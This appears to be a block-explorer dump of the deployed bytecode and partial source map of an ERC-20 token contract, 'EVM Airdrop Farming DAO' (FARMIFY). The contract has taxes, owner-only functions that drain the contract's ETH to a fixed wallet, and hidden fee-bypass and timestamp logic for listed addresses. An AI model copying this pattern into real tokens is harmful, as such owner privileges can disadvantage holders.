9392505050565b600082611ce957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122001d15f37b5566c6ef1e399cdade54a58294ab2b492fb034e12901fb21269d6e064736f6c634300080f0033

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063751039fc116100b6578063bf474bed1161006f578063bf474bed146103b6578063c876d0b9146103cc578063c9567bf9146103e6578063dd62ed3e146103ee578063f2fde38b14610434578063f5648a4f1461045457600080fd5b8063751039fc146103075780637d1db4a51461031c5780638da5cb5b146103325780638f9a55c01461035057806395d89b4114610366578063a9059cbb1461039657600080fd5b806323b872dd1161010857806323b872dd14610249578063313ce56714610269578063452ed4f11461028557806351bc3c85146102a557806370a08231146102bc578063715018a6146102f257600080fd5b806306fdde03146101505780630758d924146101a8578063095ea7b3146101e05780630faee56f1461021057806318160ddd1461023457600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152601781527f45564d2041697264726f70204661726d696e672044414f00000000000000000060208201525b60405161019f9190611903565b60405180910390f35b3480156101b457600080fd5b506012546101c8906001600160a01b031681565b6040516001600160a01b03909116815260200161019f565b3480156101ec57600080fd5b506102006101fb366004611970565b610469565b604051901515815260200161019f565b34801561021c57600080fd5b5061022660115481565b60405190815260200161019f565b34801561024057600080fd5b50610226610480565b34801561025557600080fd5b5061020061026436600461199c565b6104a1565b34801561027557600080fd5b506040516009815260200161019f565b34801561029157600080fd5b506013546101c8906001600160a01b031681565b3480156102b157600080fd5b506102ba61050a565b005b3480156102c857600080fd5b506102266102d73660046119dd565b6001600160a01b031660009081526001602052604090205490565b3480156102fe57600080fd5b506102ba6105bf565b34801561031357600080fd5b506102ba610633565b34801561032857600080fd5b50610226600e5481565b34801561033e57600080fd5b506000546001600160a01b03166101c8565b34801561035c57600080fd5b50610226600f5481565b34801561037257600080fd5b506040805180820190915260078152664641524d49465960c81b6020820152610192565b3480156103a257600080fd5b506102006103b1366004611970565b6106b4565b3480156103c257600080fd5b5061022660105481565b3480156103d857600080fd5b506005546102009060ff1681565b6102ba6106c1565b3480156103fa57600080fd5b506102266104093660046119fa565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561044057600080fd5b506102ba61044f3660046119dd565b610aa4565b34801561046057600080fd5b506102ba610b8e565b6000610476338484610c05565b5060015b92915050565b600061048e6009600a611b2d565b61049c906305f5e100611b3c565b905090565b60006104ae848484610d29565b61050084336104fb85604051806060016040528060288152602001611cef602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061154a565b610c05565b5060019392505050565b6000546001600160a01b0316331461053d5760405162461bcd60e51b815260040161053490611b5b565b60405180910390fd5b30600090815260016020526040902054801561055c5761055c81611584565b4780156105bb576040516001600160a01b037f0000000000000000000000004ba40abc96af8c471a98fb97f0e8cd1346ee4606169082156108fc029083906000818181858888f193505050501580156105b9573d6000803e3d6000fd5b505b5050565b6000546001600160a01b031633146105e95760405162461bcd60e51b815260040161053490611b5b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461065d5760405162461bcd60e51b815260040161053490611b5b565b6000610667610480565b600e819055600f8190556005805460ff191690556040518181529091507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000610476338484610d29565b6000546001600160a01b031633146106eb5760405162461bcd60e51b815260040161053490611b5b565b601354600160a01b900460ff16156107455760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c65640000000000006044820152606401610534565b600061074f610480565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915590915061078790309083610c05565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fe9190611b90565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610860573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108849190611b90565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f59190611b90565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d719473061093d816001600160a01b031660009081526001602052604090205490565b6000806109526000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109df9190611bad565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5c9190611bdb565b50436014556013805462ff00ff60a01b19166201000160a01b1790556040517fba61a96074b3d636edeee92caddc86293c917d5b6818b7d3698bb52e02ec86c890600090a150565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161053490611b5b565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610534565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610bb85760405162461bcd60e51b815260040161053490611b5b565b604051600090339047908381818185875af1925050503d8060008114610bfa576040519150601f19603f3d011682016040523d82523d6000602084013e610bff565b606091505b50505050565b6001600160a01b038316610c675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610534565b6001600160a01b038216610cc85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610534565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d8d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610534565b6001600160a01b038216610def5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610534565b60008111610e515760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610534565b600080546001600160a01b03858116911614801590610e7e57506000546001600160a01b03848116911614155b156111bd57610eaf6064610ea9600a54600d5411610e9e57600654610ea2565b6008545b85906116fe565b90611787565b60055490915060ff1615610f94576012546001600160a01b03848116911614801590610ee957506013546001600160a01b03848116911614155b15610f9457326000908152600460205260409020544311610f815760405162461bcd60e51b815260206004820152604660248201527f5f7472616e736665723a3a207472616e736665722044656c617920656e61626c60448201527f65642e204f6e6c7920312070757263686173652070657220626c6f636b20616c6064820152653637bbb2b21760d11b608482015260a401610534565b3260009081526004602052604090204390555b6013546001600160a01b038581169116148015610fbf57506012546001600160a01b03848116911614155b8015610fe457506001600160a01b03831660009081526003602052604090205460ff16155b156110cc57600e5482111561103b5760405162461bcd60e51b815260206004820152601960248201527f457863656564732074686520205f6d61785478416d6f756e74000000000000006044820152606401610534565b600f548261105e856001600160a01b031660009081526001602052604090205490565b6110689190611bfd565b11156110b65760405162461bcd60e51b815260206004820152601b60248201527f457863656564732074686520205f6d617857616c6c657453697a6500000000006044820152606401610534565b600d80549060006110c683611c15565b91905055505b6013546001600160a01b0384811691161480156110f257506001600160a01b0384163014155b1561111f5761111c6064610ea9600b54600d541161111257600754610ea2565b60095485906116fe565b90505b30600090815260016020526040902054601354600160a81b900460ff1615801561115657506013546001600160a01b038581169116145b801561116b5750601354600160b01b900460ff165b801561117a5750600c54600d54115b8015611187575060105481115b156111bb576111a96111a48461119f846011546117c9565b6117c9565b611584565b4780156111b9576111b9476117de565b505b505b6001600160a01b03841660009081526003602052604090205460ff16806111fc57506001600160a01b03831660009081526003602052604090205460ff165b801561121657506000546001600160a01b03858116911614155b801561122b57506001600160a01b0384163014155b801561124057506001600160a01b0383163014155b1561124a57426015555b6001600160a01b03841660009081526003602052604090205460ff16801561127e575060145461127b906023611bfd565b43115b156112f3576001600160a01b03808516600081815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112e59086815260200190565b60405180910390a350505050565b6001600160a01b03841660009081526003602052604090205460ff1615801561133557506001600160a01b03831660009081526003602052604090205460ff16155b15611410576013546001600160a01b03808516911603611387576001600160a01b038416600090815260166020526040902060155481546113769190611c2e565b600282015542600190910155611410565b6001600160a01b03808416600090815260166020526040902060135490918681169116036113db5780546000036113d657600b600d54106113c857426113d3565b6113d3600142611c2e565b81555b61140e565b6001600160a01b038516600090815260166020526040902081541580611402575081548154105b1561140c57805482555b505b505b801561148a57306000908152600160205260409020546114309082611834565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114819085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546114ad9083611893565b6001600160a01b0385166000908152600160205260409020556114f26114d38383611893565b6001600160a01b03851660009081526001602052604090205490611834565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61153c8585611893565b6040519081526020016112e5565b6000818484111561156e5760405162461bcd60e51b81526004016105349190611903565b50600061157b8486611c2e565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106115cc576115cc611c45565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611625573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116499190611b90565b8160018151811061165c5761165c611c45565b6001600160a01b0392831660209182029290920101526012546116829130911684610c05565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906116bb908590600090869030904290600401611c5b565b600060405180830381600087803b1580156116d557600080fd5b505af11580156116e9573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6000826000036117105750600061047a565b600061171c8385611b3c565b9050826117298583611ccc565b146117805760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610534565b9392505050565b600061178083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118d5565b60008183116117d85782611780565b50919050565b6040516001600160a01b037f0000000000000000000000004ba40abc96af8c471a98fb97f0e8cd1346ee4606169082156108fc029083906000818181858888f193505050501580156105bb573d6000803e3d6000fd5b6000806118418385611bfd565b9050838110156117805760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610534565b600061178083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061154a565b600081836118f65760405162461bcd60e51b81526004016105349190611903565b50600061157b8486611ccc565b600060208083528351808285015260005b8181101561193057858101830151858201604001528201611914565b81811115611942576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461196d57600080fd5b50565b6000806040838503121561198357600080fd5b823561198e81611958565b946020939093013593505050565b6000806000606084860312156119b157600080fd5b83356119bc81611958565b925060208401356119cc81611958565b929592945050506040919091013590565b6000602082840312156119ef57600080fd5b813561178081611958565b60008060408385031215611a0d57600080fd5b8235611a1881611958565b91506020830135611a2881611958565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611a84578160001904821115611a6a57611a6a611a33565b80851615611a7757918102915b93841c9390800290611a4e565b509250929050565b600082611a9b5750600161047a565b81611aa85750600061047a565b8160018114611abe5760028114611ac857611ae4565b600191505061047a565b60ff841115611ad957611ad9611a33565b50506001821b61047a565b5060208310610133831016604e8410600b8410161715611b07575081810a61047a565b611b118383611a49565b8060001904821115611b2557611b25611a33565b029392505050565b600061178060ff841683611a8c565b6000816000190483118215151615611b5657611b56611a33565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ba257600080fd5b815161178081611958565b600080600060608486031215611bc257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611bed57600080fd5b8151801515811461178057600080fd5b60008219821115611c1057611c10611a33565b500190565b600060018201611c2757611c27611a33565b5060010190565b600082821015611c4057611c40611a33565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cab5784516001600160a01b031683529383019391830191600101611c86565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ce957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122001d15f37b5566c6ef1e399cdade54a58294ab2b492fb034e12901fb21269d6e064736f6c634300080f0033

Deployed Bytecode Sourcemap

4315:10100:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6645:83;;;;;;;;;;-1:-1:-1;6715:5:0;;;;;;;;;;;;;;;;;6645:83;;;;;;;:::i;:::-;;;;;;;;5608:27;;;;;;;;;;-1:-1:-1;5608:27:0;;;;-1:-1:-1;;;;;5608:27:0;;;;;;-1:-1:-1;;;;;798:32:1;;;780:51;;768:2;753:18;5608:27:0;616:221:1;7478:161:0;;;;;;;;;;-1:-1:-1;7478:161:0;;;;;:::i;:::-;;:::i;:::-;;;1463:14:1;;1456:22;1438:41;;1426:2;1411:18;7478:161:0;1298:187:1;5443:51:0;;;;;;;;;;;;;;;;;;;1636:25:1;;;1624:2;1609:18;5443:51:0;1490:177:1;6922:95:0;;;;;;;;;;;;;:::i;7647:313::-;;;;;;;;;;-1:-1:-1;7647:313:0;;;;;:::i;:::-;;:::i;6831:83::-;;;;;;;;;;-1:-1:-1;6831:83:0;;5055:1;2275:36:1;;2263:2;2248:18;6831:83:0;2133:184:1;5642:21:0;;;;;;;;;;-1:-1:-1;5642:21:0;;;;-1:-1:-1;;;;;5642:21:0;;;13880:327;;;;;;;;;;;;;:::i;:::-;;7025:119;;;;;;;;;;-1:-1:-1;7025:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7118:18:0;7091:7;7118:18;;;:9;:18;;;;;;;7025:119;2839:150;;;;;;;;;;;;;:::i;13493:279::-;;;;;;;;;;;;;:::i;5260:52::-;;;;;;;;;;;;;;;;2625:79;;;;;;;;;;-1:-1:-1;2663:7:0;2690:6;-1:-1:-1;;;;;2690:6:0;2625:79;;5319:54;;;;;;;;;;;;;;;;6736:87;;;;;;;;;;-1:-1:-1;6808:7:0;;;;;;;;;;;;-1:-1:-1;;;6808:7:0;;;;6736:87;;7152:167;;;;;;;;;;-1:-1:-1;7152:167:0;;;;;:::i;:::-;;:::i;5380:56::-;;;;;;;;;;;;;;;;4659:39;;;;;;;;;;-1:-1:-1;4659:39:0;;;;;;;;12724:761;;;:::i;7327:143::-;;;;;;;;;;-1:-1:-1;7327:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7435:18:0;;;7408:7;7435:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7327:143;2997:244;;;;;;;;;;-1:-1:-1;2997:244:0;;;;;:::i;:::-;;:::i;14252:160::-;;;;;;;;;;;;;:::i;7478:161::-;7553:4;7570:39;175:10;7593:7;7602:6;7570:8;:39::i;:::-;-1:-1:-1;7627:4:0;7478:161;;;;;:::o;6922:95::-;6975:7;5240:13;5055:1;5240:2;:13;:::i;:::-;5228:25;;:9;:25;:::i;:::-;6995:14;;6922:95;:::o;7647:313::-;7745:4;7762:36;7772:6;7780:9;7791:6;7762:9;:36::i;:::-;7809:121;7818:6;175:10;7840:89;7878:6;7840:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7840:19:0;;;;;;:11;:19;;;;;;;;175:10;7840:33;;;;;;;;;;:37;:89::i;:::-;7809:8;:121::i;:::-;-1:-1:-1;7948:4:0;7647:313;;;;;:::o;13880:327::-;2752:6;;-1:-1:-1;;;;;2752:6:0;175:10;2752:22;2744:67;;;;-1:-1:-1;;;2744:67:0;;;;;;;:::i;:::-;;;;;;;;;13971:4:::1;13932:20;7118:18:::0;;;:9;:18;;;;;;13992:16;;13988:76:::1;;14022:30;14039:12;14022:16;:30::i;:::-;14093:21;14129:14:::0;;14125:75:::1;;14157:31;::::0;-1:-1:-1;;;;;14157:10:0::1;:19;::::0;:31;::::1;;;::::0;14177:10;;14157:31:::1;::::0;;;14177:10;14157:19;:31;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14125:75;13921:286;;13880:327::o:0;2839:150::-;2752:6;;-1:-1:-1;;;;;2752:6:0;175:10;2752:22;2744:67;;;;-1:-1:-1;;;2744:67:0;;;;;;;:::i;:::-;2948:1:::1;2932:6:::0;;2911:40:::1;::::0;-1:-1:-1;;;;;2932:6:0;;::::1;::::0;2911:40:::1;::::0;2948:1;;2911:40:::1;2979:1;2962:19:::0;;-1:-1:-1;;;;;;2962:19:0::1;::::0;;2839:150::o;13493:279::-;2752:6;;-1:-1:-1;;;;;2752:6:0;175:10;2752:22;2744:67;;;;-1:-1:-1;;;2744:67:0;;;;;;;:::i;:::-;13547:25:::1;13575:13;:11;:13::i;:::-;13599:12;:30:::0;;;13640:14:::1;:32:::0;;;13683:20:::1;:26:::0;;-1:-1:-1;;13683:26:0::1;::::0;;13727:37:::1;::::0;1636:25:1;;;13599:30:0;;-1:-1:-1;13727:37:0::1;::::0;1624:2:1;1609:18;13727:37:0::1;;;;;;;13536:236;13493:279::o:0;7152:167::-;7230:4;7247:42;175:10;7271:9;7282:6;7247:9;:42::i;12724:761::-;2752:6;;-1:-1:-1;;;;;2752:6:0;175:10;2752:22;2744:67;;;;-1:-1:-1;;;2744:67:0;;;;;;;:::i;:::-;12796:11:::1;::::0;-1:-1:-1;;;12796:11:0;::::1;;;12795:12;12787:51;;;::::0;-1:-1:-1;;;12787:51:0;;5426:2:1;12787:51:0::1;::::0;::::1;5408:21:1::0;5465:2;5445:18;;;5438:30;5504:28;5484:18;;;5477:56;5550:18;;12787:51:0::1;5224:350:1::0;12787:51:0::1;12851:25;12879:13;:11;:13::i;:::-;12903:9;:66:::0;;-1:-1:-1;;;;;;12903:66:0::1;12926:42;12903:66:::0;;::::1;::::0;;;12851:41;;-1:-1:-1;12980:62:0::1;::::0;12997:4:::1;::::0;12851:41;12980:8:::1;:62::i;:::-;13074:9;;;;;;;;;-1:-1:-1::0;;;;;13074:9:0::1;-1:-1:-1::0;;;;;13074:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13062:43:0::1;;13114:4;13121:9;;;;;;;;;-1:-1:-1::0;;;;;13121:9:0::1;-1:-1:-1::0;;;;;13121:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13062:76;::::0;-1:-1:-1;;;;;;13062:76:0::1;::::0;;;;;;-1:-1:-1;;;;;6065:15:1;;;13062:76:0::1;::::0;::::1;6047:34:1::0;6117:15;;6097:18;;;6090:43;5982:18;;13062:76:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13053:6;:85:::0;;-1:-1:-1;;;;;13053:85:0;;::::1;-1:-1:-1::0;;;;;;13053:85:0;;::::1;;::::0;;13149:9:::1;::::0;::::1;:25;13182:21;13213:4;13219:24;13213:4:::0;-1:-1:-1;;;;;7118:18:0;7091:7;7118:18;;;:9;:18;;;;;;;7025:119;13219:24:::1;13244:1;13246::::0;13248:7:::1;2663::::0;2690:6;-1:-1:-1;;;;;2690:6:0;;2625:79;13248:7:::1;13149:123;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13149:123:0;;;-1:-1:-1;;;;;6503:15:1;;;13149:123:0::1;::::0;::::1;6485:34:1::0;6535:18;;;6528:34;;;;6578:18;;;6571:34;;;;6621:18;;;6614:34;6685:15;;;6664:19;;;6657:44;13256:15:0::1;6717:19:1::0;;;6710:35;6419:19;;13149:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13290:6:0::1;::::0;13314:9:::1;::::0;13283:58:::1;::::0;-1:-1:-1;;;13283:58:0;;-1:-1:-1;;;;;13314:9:0;;::::1;13283:58;::::0;::::1;7241:51:1::0;-1:-1:-1;;7308:18:1;;;7301:34;13290:6:0;::::1;::::0;-1:-1:-1;13283:22:0::1;::::0;7214:18:1;;13283:58:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13377:12:0::1;13362;:27:::0;13402:11:::1;:18:::0;;-1:-1:-1;;;;13431:18:0;-1:-1:-1;;;13431:18:0;;;13467:10:::1;::::0;::::1;::::0;-1:-1:-1;;13467:10:0::1;12776:709;12724:761::o:0;2997:244::-;2752:6;;-1:-1:-1;;;;;2752:6:0;175:10;2752:22;2744:67;;;;-1:-1:-1;;;2744:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3086:22:0;::::1;3078:73;;;::::0;-1:-1:-1;;;3078:73:0;;7830:2:1;3078:73:0::1;::::0;::::1;7812:21:1::0;7869:2;7849:18;;;7842:30;7908:34;7888:18;;;7881:62;-1:-1:-1;;;7959:18:1;;;7952:36;8005:19;;3078:73:0::1;7628:402:1::0;3078:73:0::1;3188:6;::::0;;3167:38:::1;::::0;-1:-1:-1;;;;;3167:38:0;;::::1;::::0;3188:6;::::1;::::0;3167:38:::1;::::0;::::1;3216:6;:17:::0;;-1:-1:-1;;;;;;3216:17:0::1;-1:-1:-1::0;;;;;3216:17:0;;;::::1;::::0;;;::::1;::::0;;2997:244::o;14252:160::-;2752:6;;-1:-1:-1;;;;;2752:6:0;175:10;2752:22;2744:67;;;;-1:-1:-1;;;2744:67:0;;;;;;;:::i;:::-;14346:58:::1;::::0;14310:12:::1;::::0;14354:10:::1;::::0;14378:21:::1;::::0;14310:12;14346:58;14310:12;14346:58;14378:21;14354:10;14346:58:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;;;14252:160:0:o;7968:335::-;-1:-1:-1;;;;;8061:19:0;;8053:68;;;;-1:-1:-1;;;8053:68:0;;8447:2:1;8053:68:0;;;8429:21:1;8486:2;8466:18;;;8459:30;8525:34;8505:18;;;8498:62;-1:-1:-1;;;8576:18:1;;;8569:34;8620:19;;8053:68:0;8245:400:1;8053:68:0;-1:-1:-1;;;;;8140:21:0;;8132:68;;;;-1:-1:-1;;;8132:68:0;;8852:2:1;8132:68:0;;;8834:21:1;8891:2;8871:18;;;8864:30;8930:34;8910:18;;;8903:62;-1:-1:-1;;;8981:18:1;;;8974:32;9023:19;;8132:68:0;8650:398:1;8132:68:0;-1:-1:-1;;;;;8211:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8263:32;;1636:25:1;;;8263:32:0;;1609:18:1;8263:32:0;;;;;;;7968:335;;;:::o;8311:3704::-;-1:-1:-1;;;;;8399:18:0;;8391:68;;;;-1:-1:-1;;;8391:68:0;;9255:2:1;8391:68:0;;;9237:21:1;9294:2;9274:18;;;9267:30;9333:34;9313:18;;;9306:62;-1:-1:-1;;;9384:18:1;;;9377:35;9429:19;;8391:68:0;9053:401:1;8391:68:0;-1:-1:-1;;;;;8478:16:0;;8470:64;;;;-1:-1:-1;;;8470:64:0;;9661:2:1;8470:64:0;;;9643:21:1;9700:2;9680:18;;;9673:30;9739:34;9719:18;;;9712:62;-1:-1:-1;;;9790:18:1;;;9783:33;9833:19;;8470:64:0;9459:399:1;8470:64:0;8562:1;8553:6;:10;8545:63;;;;-1:-1:-1;;;8545:63:0;;10065:2:1;8545:63:0;;;10047:21:1;10104:2;10084:18;;;10077:30;10143:34;10123:18;;;10116:62;-1:-1:-1;;;10194:18:1;;;10187:39;10243:19;;8545:63:0;9863:405:1;8545:63:0;8619:17;2690:6;;-1:-1:-1;;;;;8653:15:0;;;2690:6;;8653:15;;;;:32;;-1:-1:-1;2663:7:0;2690:6;-1:-1:-1;;;;;8672:13:0;;;2690:6;;8672:13;;8653:32;8649:1625;;;8714:73;8783:3;8714:64;8736:15;;8726:9;;:25;8725:52;;8766:11;;8725:52;;;8753:12;;8725:52;8714:6;;:10;:64::i;:::-;:68;;:73::i;:::-;8808:20;;8702:85;;-1:-1:-1;8808:20:0;;8804:464;;;8869:9;;-1:-1:-1;;;;;8855:24:0;;;8869:9;;8855:24;;;;:49;;-1:-1:-1;8897:6:0;;-1:-1:-1;;;;;8883:21:0;;;8897:6;;8883:21;;8855:49;8851:400;;;8997:9;8968:39;;;;:28;:39;;;;;;9011:12;-1:-1:-1;8932:217:0;;;;-1:-1:-1;;;8932:217:0;;10475:2:1;8932:217:0;;;10457:21:1;10514:2;10494:18;;;10487:30;10553:34;10533:18;;;10526:62;10624:34;10604:18;;;10597:62;-1:-1:-1;;;10675:19:1;;;10668:37;10722:19;;8932:217:0;10273:474:1;8932:217:0;9203:9;9174:39;;;;:28;:39;;;;;9217:12;9174:55;;8851:400;9296:6;;-1:-1:-1;;;;;9288:14:0;;;9296:6;;9288:14;:42;;;;-1:-1:-1;9320:9:0;;-1:-1:-1;;;;;9306:24:0;;;9320:9;;9306:24;;9288:42;:70;;;;-1:-1:-1;;;;;;9336:22:0;;;;;;:18;:22;;;;;;;;9335:23;9288:70;9284:300;;;9396:12;;9386:6;:22;;9378:60;;;;-1:-1:-1;;;9378:60:0;;10954:2:1;9378:60:0;;;10936:21:1;10993:2;10973:18;;;10966:30;11032:27;11012:18;;;11005:55;11077:18;;9378:60:0;10752:349:1;9378:60:0;9491:14;;9481:6;9465:13;9475:2;-1:-1:-1;;;;;7118:18:0;7091:7;7118:18;;;:9;:18;;;;;;;7025:119;9465:13;:22;;;;:::i;:::-;:40;;9457:80;;;;-1:-1:-1;;;9457:80:0;;11441:2:1;9457:80:0;;;11423:21:1;11480:2;11460:18;;;11453:30;11519:29;11499:18;;;11492:57;11566:18;;9457:80:0;11239:351:1;9457:80:0;9556:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9284:300;9609:6;;-1:-1:-1;;;;;9603:12:0;;;9609:6;;9603:12;:37;;;;-1:-1:-1;;;;;;9619:21:0;;9635:4;9619:21;;9603:37;9600:164;;;9672:76;9744:3;9672:67;9694:16;;9684:9;;:26;9683:55;;9726:12;;9683:55;;;9712:13;;9672:6;;:10;:67::i;:76::-;9660:88;;9600:164;9829:4;9780:28;7118:18;;;:9;:18;;;;;;9855:6;;-1:-1:-1;;;9855:6:0;;;;9854:7;:23;;;;-1:-1:-1;9871:6:0;;-1:-1:-1;;;;;9865:12:0;;;9871:6;;9865:12;9854:23;:38;;;;-1:-1:-1;9881:11:0;;-1:-1:-1;;;9881:11:0;;;;9854:38;:70;;;;;9906:18;;9896:9;;:28;9854:70;:113;;;;;9950:17;;9929:20;:38;9854:113;9850:413;;;9988:67;10005:49;10009:6;10016:37;10020:20;10041:11;;10016:3;:37::i;:::-;10005:3;:49::i;:::-;9988:16;:67::i;:::-;10103:21;10146:22;;10143:105;;10193:35;10206:21;10193:12;:35::i;:::-;9969:294;9850:413;8687:1587;8649:1625;-1:-1:-1;;;;;10291:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;10319:22:0;;;;;;:18;:22;;;;;;;;10291:50;10290:71;;;;-1:-1:-1;2663:7:0;2690:6;-1:-1:-1;;;;;10346:15:0;;;2690:6;;10346:15;;10290:71;:97;;;;-1:-1:-1;;;;;;10366:21:0;;10382:4;10366:21;;10290:97;:120;;;;-1:-1:-1;;;;;;10391:19:0;;10405:4;10391:19;;10290:120;10286:182;;;10441:15;10426:11;:30;10286:182;-1:-1:-1;;;;;10482:24:0;;;;;;:18;:24;;;;;;;;:63;;;;-1:-1:-1;10526:12:0;;:17;;10541:2;10526:17;:::i;:::-;10511:12;:32;10482:63;10478:274;;;-1:-1:-1;;;;;10591:15:0;;;;;;;:9;:15;;;;;;:25;;;;;;;10635:13;;;;;;;;;;:23;;;;;;10693:26;;;;;;10610:6;1636:25:1;;1624:2;1609:18;;1490:177;10693:26:0;;;;;;;;10734:7;8311:3704;;;:::o;10478:274::-;-1:-1:-1;;;;;10767:24:0;;;;;;:18;:24;;;;;;;;10766:25;:52;;;;-1:-1:-1;;;;;;10796:22:0;;;;;;:18;:22;;;;;;;;10795:23;10766:52;10762:897;;;10840:6;;-1:-1:-1;;;;;10840:12:0;;;:6;;:12;10836:812;;-1:-1:-1;;;;;10906:17:0;;10873:31;10906:17;;;:11;:17;;;;;10983:11;;10964:15;;:30;;10